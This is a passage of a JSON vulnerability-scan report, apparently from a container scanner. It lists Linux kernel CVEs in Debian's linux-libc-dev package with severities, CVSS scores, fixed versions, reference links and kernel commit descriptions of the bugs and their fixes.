"https://git.kernel.org/stable/c/206c09b04dc5469c7ff14d8aceff2d47c88078d9", "https://git.kernel.org/stable/c/2f4acd0fcd862e22eab45690ec2c08c80b6ef2e7", "https://git.kernel.org/stable/c/44f891bc088958399eec27f7604928694aa35581", "https://git.kernel.org/stable/c/50f0012da1040f69a4e788cd9aed587c9a04983f", "https://git.kernel.org/stable/c/b8c9aa832b52680ee40d6cab0efb081f9a69df05", "https://git.kernel.org/stable/c/dc11be133efca5fe3a2fb02b016dee825cc12f18", "https://git.kernel.org/stable/c/e705d81a7193dd19e69b8e2bad4696d78a4ea075", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/7.2.1/BRSA-zzvlpghhumzm.toml", "https://linux.oracle.com/cve/CVE-2026-64600.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-64600", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64600", "https://www.openwall.com/lists/oss-security/2026/07/22/14" ], "PublishedDate": "2026-07-23T06:16:50.493Z", "LastModifiedDate": "2026-10-19T21:17:49.5Z" }, { "VulnerabilityID": "CVE-2026-68108", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68108", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:77174a4c130c954468651ac4b969ba8d482e5ceb3f97a18a47f797c68298ee66", "Title": "kernel: drm/amdgpu/vce: fix integer overflow in image size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu/vce: fix integer overflow in image size\n\nFix a security vulnerability where malicious VCE command streams\nwith oversized dimensions (e.g. 65536×65536) cause 32-bit integer\noverflow, wrapping the calculated buffer size to 0. This bypasses\nvalidation and allows GPU firmware to perform out-of-bound memory\naccess.\n\nThe fix uses 64-bit arithmetic to detect overflow and rejects\ninvalid dimensions before they reach the hardware.\n\nV2: remove redundant check\nV3: modify max height value\nV4: remove size64\n\n(cherry picked from commit cbe408dba581755ad1279a487ec786d8927d778d)", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71700", "https://access.redhat.com/security/cve/CVE-2026-68108", "https://bugzilla.redhat.com/2419883", "https://bugzilla.redhat.com/2461575", "https://bugzilla.redhat.com/2482533", "https://bugzilla.redhat.com/2482543", "https://bugzilla.redhat.com/2482649", "https://bugzilla.redhat.com/2486470", "https://bugzilla.redhat.com/2492105", "https://bugzilla.redhat.com/2492798", "https://bugzilla.redhat.com/2493739", "https://bugzilla.redhat.com/2502536", "https://bugzilla.redhat.com/2513233", "https://bugzilla.redhat.com/2513361", "https://bugzilla.redhat.com/2513372", "https://bugzilla.redhat.com/2513414", "https://bugzilla.redhat.com/2513429", "https://bugzilla.redhat.com/2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2419883", "https://bugzilla.redhat.com/show_bug.cgi?id=2461575", "https://bugzilla.redhat.com/show_bug.cgi?id=2482533", "https://bugzilla.redhat.com/show_bug.cgi?id=2482543", "https://bugzilla.redhat.com/show_bug.cgi?id=2482649", "https://bugzilla.redhat.com/show_bug.cgi?id=2486470", "https://bugzilla.redhat.com/show_bug.cgi?id=2492105", "https://bugzilla.redhat.com/show_bug.cgi?id=2492798", "https://bugzilla.redhat.com/show_bug.cgi?id=2493739", "https://bugzilla.redhat.com/show_bug.cgi?id=2502536", "https://bugzilla.redhat.com/show_bug.cgi?id=2513233", "https://bugzilla.redhat.com/show_bug.cgi?id=2513361", "https://bugzilla.redhat.com/show_bug.cgi?id=2513372", "https://bugzilla.redhat.com/show_bug.cgi?id=2513414", "https://bugzilla.redhat.com/show_bug.cgi?id=2513429", "https://bugzilla.redhat.com/show_bug.cgi?id=2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2525436", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40323", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31539", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46199", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46311", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52912", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53203", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53290", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64098", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68108", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68121", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68273", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80714", "https://errata.almalinux.org/9/ALSA-2026-71700.html", "https://errata.rockylinux.org/RLSA-2026:71700", "https://git.kernel.org/stable/c/00c311a13d225266800c712f2b7db2711c6897de", "https://git.kernel.org/stable/c/186bfdc4e26d019b2e7570cb121964a1d89b2e5b", "https://git.kernel.org/stable/c/7eebef042c12dfe0568593ee6a8926d16505925e", "https://git.kernel.org/stable/c/893db20383800cfe92e638705984eebb13bc81a5", "https://git.kernel.org/stable/c/a07430abd556de3707adfcadcc60db3fa64e4b2b", "https://git.kernel.org/stable/c/a6d7065b91a14790980ce6f4960db0ca8c3c9940", "https://linux.oracle.com/cve/CVE-2026-68108.html", "https://linux.oracle.com/errata/ELSA-2026-82807.html", "https://lore.kernel.org/linux-cve-announce/2026081053-CVE-2026-68108-4308@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68108", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68108" ], "PublishedDate": "2026-08-10T13:19:55.6Z", "LastModifiedDate": "2026-10-19T21:17:51.513Z" }, { "VulnerabilityID": "CVE-2026-68121", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68121", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:70b4124e696d0e0fdc6611847cdc044de6de6fdeebb6b29cf5dc92f6a1c2d8b7", "Title": "kernel: pppoe: reload header pointer after dev_hard_header()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npppoe: reload header pointer after dev_hard_header()\n\npppoe_sendmsg() saves a pointer to the PPPoE header before calling\ndev_hard_header(). Device header callbacks are allowed to reallocate the\nskb head, invalidating pointers into it.\n\nThis can happen when a send is blocked in copy_from_user() while the first\nnon-Ethernet port is added to an empty team device. The team's delegated\nGRE header callback then expands the skb head. PPPoE subsequently writes\nsix bytes through the stale pointer into the freed head.\n\nReload the PPPoE header through the skb's network-header offset after\ndevice header creation. pskb_expand_head() updates that offset when it\nrelocates the head.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71700", "https://access.redhat.com/security/cve/CVE-2026-68121", "https://bugzilla.redhat.com/2419883", "https://bugzilla.redhat.com/2461575", "https://bugzilla.redhat.com/2482533", "https://bugzilla.redhat.com/2482543", "https://bugzilla.redhat.com/2482649", "https://bugzilla.redhat.com/2486470", "https://bugzilla.redhat.com/2492105", "https://bugzilla.redhat.com/2492798", "https://bugzilla.redhat.com/2493739", "https://bugzilla.redhat.com/2502536", "https://bugzilla.redhat.com/2513233", "https://bugzilla.redhat.com/2513361", "https://bugzilla.redhat.com/2513372", "https://bugzilla.redhat.com/2513414", "https://bugzilla.redhat.com/2513429", "https://bugzilla.redhat.com/2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2419883", "https://bugzilla.redhat.com/show_bug.cgi?id=2461575", "https://bugzilla.redhat.com/show_bug.cgi?id=2482533", "https://bugzilla.redhat.com/show_bug.cgi?id=2482543", "https://bugzilla.redhat.com/show_bug.cgi?id=2482649", "https://bugzilla.redhat.com/show_bug.cgi?id=2486470", "https://bugzilla.redhat.com/show_bug.cgi?id=2492105", "https://bugzilla.redhat.com/show_bug.cgi?id=2492798", "https://bugzilla.redhat.com/show_bug.cgi?id=2493739", "https://bugzilla.redhat.com/show_bug.cgi?id=2502536", "https://bugzilla.redhat.com/show_bug.cgi?id=2513233", "https://bugzilla.redhat.com/show_bug.cgi?id=2513361", "https://bugzilla.redhat.com/show_bug.cgi?id=2513372", "https://bugzilla.redhat.com/show_bug.cgi?id=2513414", "https://bugzilla.redhat.com/show_bug.cgi?id=2513429", "https://bugzilla.redhat.com/show_bug.cgi?id=2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2525436", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40323", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31539", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46199", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46311", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52912", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53203", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53290", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64098", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68108", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68121", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68273", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80714", "https://errata.almalinux.org/9/ALSA-2026-71700.html", "https://errata.rockylinux.org/RLSA-2026:71700", "https://git.kernel.org/stable/c/6866abf59976d273164a6624234d96a967280223", "https://git.kernel.org/stable/c/6eed5ae7887a93160803d2b81ff88e75eefd4a4c", "https://git.kernel.org/stable/c/7a56e7c9b08e08fd55a1bcada24cf4fe3782b722", "https://git.kernel.org/stable/c/7e9fbd7f96bcde63a7c798fe16b38cedee7a1501", "https://git.kernel.org/stable/c/ba3409369c5413cdf0dcbf3a928f76b48e8c3e6a", "https://git.kernel.org/stable/c/bed4caecd723693f750e13adbb2c42ca1249a3fd", "https://git.kernel.org/stable/c/e6493a4d1ee17595766165fa446d45b7e0c318d0", "https://git.kernel.org/stable/c/e9c238f6fe42fb1b4dba3a578277de32cb487937", "https://linux.oracle.com/cve/CVE-2026-68121.html", "https://linux.oracle.com/errata/ELSA-2026-71700.html", "https://lore.kernel.org/linux-cve-announce/2026081056-CVE-2026-68121-b20f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68121", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68121" ], "PublishedDate": "2026-08-10T13:19:57.2Z", "LastModifiedDate": "2026-10-19T21:17:52.113Z" }, { "VulnerabilityID": "CVE-2026-68123", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68123", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2cccecffb4ad35521f3bde022b2be6a56b7adb22b8f694ad5c7c78b4b6ffa7b2", "Title": "kernel: openvswitch: fix GSO userspace truncation underflow", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nopenvswitch: fix GSO userspace truncation underflow\n\nOVS_ACTION_ATTR_TRUNC currently stores a delta from the original skb\nlength in OVS_CB(skb)-\u003ecutlen. When a later userspace action segments a\nGSO skb, queue_gso_packets() reuses that delta for each smaller segment.\nA segment can then reach queue_userspace_packet() with cutlen greater\nthan skb-\u003elen, underflowing the length passed to skb_zerocopy().\n\nStore the maximum preserved length instead and bound each consumer\nagainst the current skb length. Use U32_MAX as the no-truncation\nsentinel so the value remains valid if skb geometry changes before a\nconsumer handles it.", "Severity": "HIGH", "CweIDs": [ "CWE-191" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81552", "https://access.redhat.com/security/cve/CVE-2026-68123", "https://bugzilla.redhat.com/2486468", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513148", "https://bugzilla.redhat.com/2513287", "https://bugzilla.redhat.com/2513430", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2528788", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/2535309", "https://bugzilla.redhat.com/2535338", "https://bugzilla.redhat.com/show_bug.cgi?id=2486468", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513148", "https://bugzilla.redhat.com/show_bug.cgi?id=2513287", "https://bugzilla.redhat.com/show_bug.cgi?id=2513430", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2528788", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2535309", "https://bugzilla.redhat.com/show_bug.cgi?id=2535338", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46309", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68245", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68278", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/9/ALSA-2026-81552.html", "https://errata.rockylinux.org/RLSA-2026:81552", "https://git.kernel.org/stable/c/100a23b1613e9218e0af654ef102352c713f0263", "https://git.kernel.org/stable/c/2623c48cc3a8da9a1886fd8f65c0e348f4406fd6", "https://git.kernel.org/stable/c/4032f8ed10fcb84d41c508dfb04be96589f78dfe", "https://git.kernel.org/stable/c/50a6a85f3d6b1d22d8436848606cdef5d2c490b4", "https://git.kernel.org/stable/c/a16eaaf7c0b0ccdef6166707d90ffbc6eebf6855", "https://git.kernel.org/stable/c/e211b081901ffca76674082c73eeaed53524c369", "https://git.kernel.org/stable/c/ea85dbcbe8d4056ecb54352f97743d138ea4c407", "https://git.kernel.org/stable/c/fbfa3ad2ad6f3a5624aba5211c46290fb98cc9dc", "https://linux.oracle.com/cve/CVE-2026-68123.html", "https://linux.oracle.com/errata/ELSA-2026-81552.html", "https://lore.kernel.org/linux-cve-announce/2026081056-CVE-2026-68123-49d8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68123", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68123" ], "PublishedDate": "2026-08-10T13:19:57.427Z", "LastModifiedDate": "2026-10-19T21:17:52.287Z" }, { "VulnerabilityID": "CVE-2026-68136", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68136", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:22f0609e1ba8e8d1fe6f4eeee249c8d368509448cc49e24de0593bb27aa0c0c3", "Title": "kernel: net: gro: fix double aggregation of flush-marked skbs", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: gro: fix double aggregation of flush-marked skbs\n\nCommit 0ab03f353d36 (\"net-gro: Fix GRO flush when receiving a GSO\npacket.\") added a flush check to skb_gro_receive(), but\nskb_gro_receive_list() lacks the same validation.\n\nAs a result, packets marked with NAPI_GRO_CB(skb)-\u003eflush may still be\nre-aggregated.\n\nThis allows already-GRO'd packets with existing frag_list to be\nre-aggregated into a new GRO session, corrupting the frag_list chain\nstructure. When skb_segment() attempts to unpack these malformed packets,\nit encounters invalid state and triggers a kernel panic.\n\nScenario (Tethering/Device forwarding):\n 1. Driver: Generated aggregated packet P1 via LRO with frag_list\n 2. Dev A: Receives aggregated fraglist packet and flush flag set\n 3. Dev A: Re-enters GRO, skb_gro_receive_list() is called\n 4. Missing flush check allows re-aggregation despite flush flag\n 5. Frag_list chain becomes corrupted (loops or dangling refs)\n 6. Dev B: TX path calls skb_segment(), crashes on corrupted frag_list\n\nRoot cause in skb_segment():\n The check at line ~4891:\n if (hsize \u003c= 0 \u0026\u0026 i \u003e= nfrags \u0026\u0026 skb_headlen(list_skb) \u0026\u0026\n (skb_headlen(list_skb) == len || sg)) {\n\n When frag_list is corrupted by double aggregation, when list_skb is\n a NULL pointer from skb-\u003enext, skb_headlen(list_skb) dereference\n NULL/corrupted pointers occurs.\n\nCall Trace:\n skb_headlen(NULL skb)\n skb_segment\n tcp_gso_segment\n tcp4_gso_segment\n inet_gso_segment\n skb_mac_gso_segment\n __skb_gso_segment\n skb_gso_segment\n validate_xmit_skb\n validate_xmit_skb_list\n sch_direct_xmit\n qdisc_restart\n __qdisc_run\n qdisc_run\n net_tx_action\n\nFix: Add NAPI_GRO_CB(skb)-\u003eflush validation to the early-return check in\nskb_gro_receive_list(), matching the defensive programming pattern of\nskb_gro_receive().", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:89083", "https://access.redhat.com/security/cve/CVE-2026-68136", "https://bugzilla.redhat.com/2492709", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2507296", "https://bugzilla.redhat.com/2513163", "https://bugzilla.redhat.com/2513264", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513343", "https://bugzilla.redhat.com/2524438", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2532515", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2492709", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2507296", "https://bugzilla.redhat.com/show_bug.cgi?id=2513163", "https://bugzilla.redhat.com/show_bug.cgi?id=2513264", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513343", "https://bugzilla.redhat.com/show_bug.cgi?id=2516251", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64378", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68138", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68338", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/8/ALSA-2026-89083.html", "https://errata.rockylinux.org/RLSA-2026:89083", "https://git.kernel.org/stable/c/107e1a469f53a2a70874f3f12bf6fcd23925da1d", "https://git.kernel.org/stable/c/7fc7e35212cf58c134310fb47566a844297ceae9", "https://git.kernel.org/stable/c/a4dfd46cc8f08a29c6183794790547d0945f3d45", "https://git.kernel.org/stable/c/d1fb23f8f794ac4683127bd49a6422bd87e0ac02", "https://git.kernel.org/stable/c/db3e82da616f52e2b27e25e7be3fde2f2a5e54d6", "https://git.kernel.org/stable/c/e751256486d0ded20f5a9f9863467f1dce65142f", "https://git.kernel.org/stable/c/fc0c0f7a207f0cd2d2aa725696c907f7d03af9e0", "https://linux.oracle.com/cve/CVE-2026-68136.html", "https://linux.oracle.com/errata/ELSA-2026-91565.html", "https://lore.kernel.org/linux-cve-announce/2026081059-CVE-2026-68136-f3b7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68136", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68136" ], "PublishedDate": "2026-08-10T13:19:59.12Z", "LastModifiedDate": "2026-10-19T21:17:53.333Z" }, { "VulnerabilityID": "CVE-2026-68138", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68138", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": 